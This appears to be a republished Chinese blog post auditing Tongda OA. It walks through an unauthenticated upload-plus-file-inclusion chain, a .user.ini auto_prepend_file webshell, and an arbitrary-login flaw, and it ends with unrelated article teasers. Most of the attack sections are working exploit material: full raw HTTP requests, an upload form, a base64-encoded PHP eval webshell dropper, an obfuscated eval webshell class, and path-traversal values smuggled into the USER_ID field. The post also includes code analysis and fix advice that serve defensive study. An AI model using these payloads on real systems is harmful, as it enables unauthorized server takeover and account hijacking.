4、通达OA代码审计

一、文件操作

1、文件上传配合文件包含审计

文件上传首先确定存在漏洞的文件。和文件上传相关的函数比如upload。在从上到下分析构造的条件

在这里插入图片描述

1. 从 POST 请求中提取变量 P 的值。
2. 检查 P 是否已设置且不为空字符串。
3. 如果 P 已设置且非空,进入包含 "inc/session.php" 文件,然后设置会话 ID 为 P,启动一个会话
4. 如果 P 未设置或为空,则包含 "auth.php" 文件。

在这里插入图片描述

post提交获取TYPE、DEST_UID值DEST_UID=0就报错结束,不满足0就可以

在这里插入图片描述

有文件上传值大于等于1就会进入文件上传代码
upload不在第一个if,所以满不满足1都可以,都会执行。
如果没有检测到文件上传就提示,检测到就进if判断
判断文件大小可以控制

在这里插入图片描述

选择输出内容的模式

在这里插入图片描述

过滤是在upload里,过滤了后缀、文件名、大小等还有类名单验证
构造请求条件,要构造上传文件的表单 

在这里插入图片描述

构造条件:
P=1 未授权
DEST_UID=1 进入逻辑
UOLOAD_MODE=1,2,3选择输出内容的模式
ATTACHMENT 就收文件上传的参数名
构造表单去触发upload文件比较快捷。
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name="P" value=1></input>
<input type="text"name="UPLOAD_MODE" value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

上传后输出上传的文件名但是路径不清楚,可以使用脚本监控

在这里插入图片描述

搜索文件包含函数

在这里插入图片描述

url不为空,值带/,判断general/不等于false为真并且ispirit/不等于false,条件为真才会包含
首要条件满足if($json)

在这里插入图片描述
在这里插入图片描述

ispirit/interface/gateway.php?jaso{}$url=/general/../../attach/im/2401/1798777521.1.txt

在这里插入图片描述

包含文件不回显,可以上传一个图片马>内容是创建一个php文件

<?php$fn = fopen("2.php","w+");$st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7cGhwaW5mbygpOz8+");$result = fwrite($fn,$st);fclose($fn);
?>

在这里插入图片描述

POST /ispirit/im/upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 2760
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD9mijgm62VfQk6ny
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1
Connection: close------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="P"1
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="UPLOAD_MODE"2
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="DEST_UID"1
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="ATTACHMENT"; filename="m.jpg"
Content-Type: image/jpegÿØÿà
上传图片马后访问
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Cookie: PHPSESSID=1json={"url":"/general/../../attach/im/2401/999371338.m.jpg"}

在这里插入图片描述

POST /ispirit/interface/2.php HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述

内容回显出来说明成功了,可以写个webshell的代码,用工具连接

在这里插入图片描述

2、文件上传配合文件包含webshell

漏洞条件

● 漏洞url: http://192.168.x.x/general/hr/manage/staff_info/update.php
● 漏洞参数:filename
● 是否存在限制: 
● 是否还有其他条件:USER_ID; name="ATTACHMENT"; filename="tongda.log"

复现

第一步上传恶意日志内容
POST /general/hr/manage/staff_info/update.php HTTP/1.1
Host: 192.168.x.x
Content-Length: 644
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5GZA3TTHKoMH9q6n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.45/general/hr/manage/staff_info/staff_info.php?UID=15&USER_ID=chenqiang&DEPT_ID=4&FROM_DEPT_ID=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=g0jb13ldknhl5g3sr269v3phb2; SID_1=3ac19fa7
Connection: close------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="USER_ID"../../general/reportshop/workshop/report/attachment-remark/tongda
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="BYNAME"------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="ATTACHMENT"; filename="tongda.log"
Content-Type: application/octet-stream<?php class Gz5SfY10 { public function __construct($H7Es8){ @eval("/*Z7y11Eib8N*/".$H7Es8.""); }}new Gz5SfY10($_REQUEST['a']);?>
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="WORK_TYPE"

在这里插入图片描述

第二步包含文件
POST /general/hr/manage/staff_info/update.php HTTP/1.1
Host: 192.168.x.x
Content-Length: 537
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.45
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5GZA3TTHKoMH9q6n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.45/general/hr/manage/staff_info/staff_info.php?UID=15&USER_ID=chenqiang&DEPT_ID=4&FROM_DEPT_ID=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=g0jb13ldknhl5g3sr269v3phb2; SID_1=3ac19fa7
Connection: close------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="USER_ID"../../general/reportshop/workshop/report/attachment-remark/.user
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="BYNAME"------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="ATTACHMENT"; filename="config.ini"
Content-Type: application/octet-streamauto_prepend_file=tongda.log
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="WORK_TYPE"

在这里插入图片描述

直接用工具链接

在这里插入图片描述

代码

获取用户上传的文件信息和临时文件名
如果不为空就代表用户已经上传了文件,设置为这个路径
检查文件或目录是否存在,如果路径上的目录不存在就创建一个新的目录
如果文件不存在会报错,存在则进如upload函数,进行验证上传的文件
td_copy-->is_uploadable对后缀做了限制

在这里插入图片描述
在这里插入图片描述

提取文件的名字、大小、错误码以及临时文件名。之后根据错误码进行不同的处理。检查文件后缀、文件名字符编码、非法字符等信息。没有检查文件内容

在这里插入图片描述
在这里插入图片描述

修复建议

1. 限制可上传文件类型,避免执行文件的上传。
2. 对上传文件内容进行监测以防夹带恶意代码。
3. 设置权限,上传文件目录不应执行脚本。
4. 使用文件包含机制时,避免直接包含用户输入的文件。可能的话,使用白名单机制限制可包含文件

二、任意用户登录

漏洞条件

● 漏洞url: http://192.168.x.x/logincheck_code.php
● 漏洞参数:cookie
● 是否存在限制: 
● 是否还有其他条件:需要先请求UID=1获取cookie

复现

使用脚本获取cookie

在这里插入图片描述

访问登录后的页面修改PHPSESSID=qg8g33n7fscd71hildomnh4m15;

在这里插入图片描述

代码

这里直接通过POST传入UID:

在这里插入图片描述

通过UID进行数据库的查询,并加以参数的赋值:
mysql> select * from USER where UID=1 \G;

在这里插入图片描述

因为UID=1是admin用户,所以这儿直接就是把admin的session给调了出来:

在这里插入图片描述

用burp测试,带入UID=1.就得到PHPSESSID,替换PHPSESSID即可。

修复建议

加强身份验证机制,如强化密码加密存储,加强参数验证,修复认证逻辑漏洞和使用安全的会话管理方式。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/718890.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[NSSCTF 2nd]MyJs

做一题ejs原型链污染 首先是登录界面 源码里面提示了源码的路由 js不熟先审计一下 const express require(express); #导入Express框架&#xff0c;用于构建Web应用程序的服务器和路由 const bodyParser require(body-parser); #导入body-parser中间件&#xff0c;用于解析…

软考证书=职称证书?

官方的回答 根据《计算机技术与软件专业技术资格&#xff08;水平&#xff09;考试暂行规定》&#xff08;国人部发〔2003〕39号&#xff09;规定&#xff0c;通过考试并获得相应级别计算机专业技术资格&#xff08;水平&#xff09;证书的人员&#xff0c;表明其已具备从事相…

使用Javassist 在android运行时生成类

序言 最近在写框架&#xff0c;有一个需求就是动态的生成一个类&#xff0c;然后查阅了相关文献&#xff0c;发现在android中动态生成一个类还挺麻烦。因次把一些内容分享出来&#xff0c;帮助大家少走弯路。 方案一 DexMaker DexMaker 是一个针对 Android 平台的库&#xf…

Myqsort:基于冒泡排序算法的C语言实现

我们将详细介绍一个基于冒泡排序算法的自定义排序函数——Mysqrt。该函数通过使用用户提供的比较函数进行元素间的比较&#xff0c;并结合swap交换函数对任意类型的数据进行排序。下面是对代码的逐行解析。 逻辑导图 代码实现 // 头文件 #include<stdio.h>// 定义比较函…

华为自动驾驶技术详解报告分享

ADS2.0首发搭载问界M5智驾版&#xff0c;城市NCA计划年底全国开通。2023年4月16日华为在智能汽车解决方案发布会上发布了最新的ADS2.0产品&#xff0c;硬件数量减少至27个(11个摄像头12个超声波雷达3个毫米波雷达1个激光雷达,ADS1.0有34个)&#xff0c;车载计算平台改为MDC610&…

python自学2

第一阶段第三章 if&#xff0c;elif&#xff0c;else语句 这个是有顺序的&#xff0c;如果第一个满足下面的就不会执行&#xff0c;else也可以不写&#xff0c;执行的效果等同于三个独立的if。 还可以写的更加简洁一些 直接输入的参数带入到判断里面去 小练习&#xff1a; 做…

打造专属投屏体验:Windows系统投屏到iOS系统

想要将电脑投屏共享给同事或朋友&#xff0c;又担心隐私内容泄露&#xff1f;来来来&#xff0c;这里有妙招&#xff01; AirDroid Cast网页版让电脑投屏变得挑剔&#xff0c;只展示你允许共享的内容。会议资料、个人照片、敏感文件&#xff0c;都将得到严格的筛选&#xff0c;…

云原生之容器编排实践-ruoyi-cloud项目部署到K8S:Nacosv2.2.3

背景 前面搭建好了 Kubernetes 集群与私有镜像仓库&#xff0c;终于要进入服务编排的实践环节了。本系列拿 ruoyi-cloud 项目进行练手&#xff0c;按照 MySQL &#xff0c; Nacos &#xff0c; Redis &#xff0c; Nginx &#xff0c; Gateway &#xff0c; Auth &#xff0c;…

windows环境下Grafana+loki+promtail入门级部署日志系统,收集Springboot(Slf4j+logback)项目日志

&#x1f339;作者主页&#xff1a;青花锁 &#x1f339;简介&#xff1a;Java领域优质创作者&#x1f3c6;、Java微服务架构公号作者&#x1f604; &#x1f339;简历模板、学习资料、面试题库、技术互助 &#x1f339;文末获取联系方式 &#x1f4dd; 往期热门专栏回顾 专栏…

动态规划DP之背包问题4---分组背包问题

目录 DP分析&#xff1a; 例题&#xff1a; 01背包&#xff1a; 一种物品只有一件 动态规划DP之背包问题1---01背包问题-CSDN博客 完全背包&#xff1a;一种物品有无限件 动态规划DP之背包问题2---完全背包问题-CSDN博客 多重背包&#xff1a;一种物品有有限…

【三维重建】【SLAM】SplaTAM:基于3D高斯的密集RGB-D SLAM(CVPR 2024)

题目&#xff1a;SplaTAM: Splat, Track & Map 3D Gaussians for Dense RGB-D SLAM 地址&#xff1a;spla-tam.github.io 机构&#xff1a;CMU&#xff08;卡内基梅隆大学&#xff09;、MIT&#xff08;美国麻省理工&#xff09; 总结&#xff1a;SplaTAM&#xff0c;一个新…

十个勤天生菜原价4.9元被炒到300元,2024新商机!新兴创业项目!

近日&#xff0c;一则关于生菜价格暴涨的新闻引起了广泛关注。原价4.9元的生菜&#xff0c;在短短时间内被炒至300元&#xff0c;令人咋舌。在这背后&#xff0c;除了市场供需失衡、炒作等因素外&#xff0c;我们不禁思考&#xff1a;这样的现象背后是否隐藏着更大的商机&#…

LaTeX插入图片占位符

关于插入图片更多说明&#xff08;多图并排、子标题设置等&#xff09;可参考链接 LaTeX插入图片 插入图片占位符 参考链接&#xff1a;https://blog.csdn.net/yq_forever/article/details/129431799 在论文草稿阶段有的时候想先插入图片占位符拟定大纲或写作思路&#xff0…

张宇30讲学习笔记

初等数学 x \sqrt{x} x ​是算数平方根&#xff0c;一定≥0&#xff1b; x 2 \sqrt{x^2} x2 ​|x| x2|x2||x|2 x3≠|x3||x|3 不等式 a>0&#xff0c;b>0&#xff0c;则ab≥2 a b \sqrt{ab} ab ​ 对数 ln a b \frac{a}{b} ba​lna-lnb 高等数学 单调性 线性代数

Linux CentOS使用Docker部署Apache Superset并实现远程分析数据

文章目录 前言1. 使用Docker部署Apache Superset1.1 第一步安装docker 、docker compose1.2 克隆superset代码到本地并使用docker compose启动 2. 安装cpolar内网穿透&#xff0c;实现公网访问3. 设置固定连接公网地址 前言 Superset是一款由中国知名科技公司开源的“现代化的…

自动化构建平台(一)Linux下搭建私有代码仓库Gitblit的安装和使用详解

文章目录 前言一、Gitblit的安装和使用1、本地安装2、docker下安装3、Gitblit使用简介4、Gitblit仓库权限控制5、Gitblit邮件配置 总结 前言 代码版本管理&#xff0c;git模式应该是目前最流行的代码管理软件。目前支持git的管理软件有很多。 Gitblit是一个小型的代码仓库管理…

《GitHub新手入门指南:从零开始掌握基本用法》

在现代软件开发和技术社区中,GitHub已经成为了一个不可或缺的平台。它不仅是一个代码托管平台,更是一个技术交流、学习分享的社交平台。但对于初学者来说,GitHub可能会有些令人望而却步。本文将详细介绍GitHub的基本用法,帮助新手快速入门并融入这个充满活力的技术社区。 …

Qt/C++音视频开发67-保存裸流加入sps/pps信息/支持264/265裸流/转码保存/拉流推流

一、前言 音视频组件除了支持保存MP4文件外&#xff0c;同时还支持保存裸流即264/265文件&#xff0c;以及解码后最原始的yuv文件。在实际使用过程中&#xff0c;会发现部分视频文件保存的裸流文件&#xff0c;并不能直接用播放器播放&#xff0c;查阅资料得知原来是缺少sps/p…

GitHub登不上:修改hosts文件来解决(GitHub520,window)

参考链接&#xff1a;GitHub520: 本项目无需安装任何程序&#xff0c;通过修改本地 hosts 文件&#xff0c;试图解决&#xff1a; GitHub 访问速度慢的问题 GitHub 项目中的图片显示不出的问题 花 5 分钟时间&#xff0c;让你"爱"上 GitHub。 (gitee.com) GitHub网站…

【Redis】Redis 实现分布式Session

Cookie 保存在客户端浏览器中&#xff0c;而 Session 保存在服务器上。客户端浏览器访问服务器的时候&#xff0c;服务器把客户端信息以某种形式记录在服务器上&#xff0c;这就是 Session。客户端浏览器再次访问时只需要从该 Session 中查找该客户的状态就可以了。 在实际工作…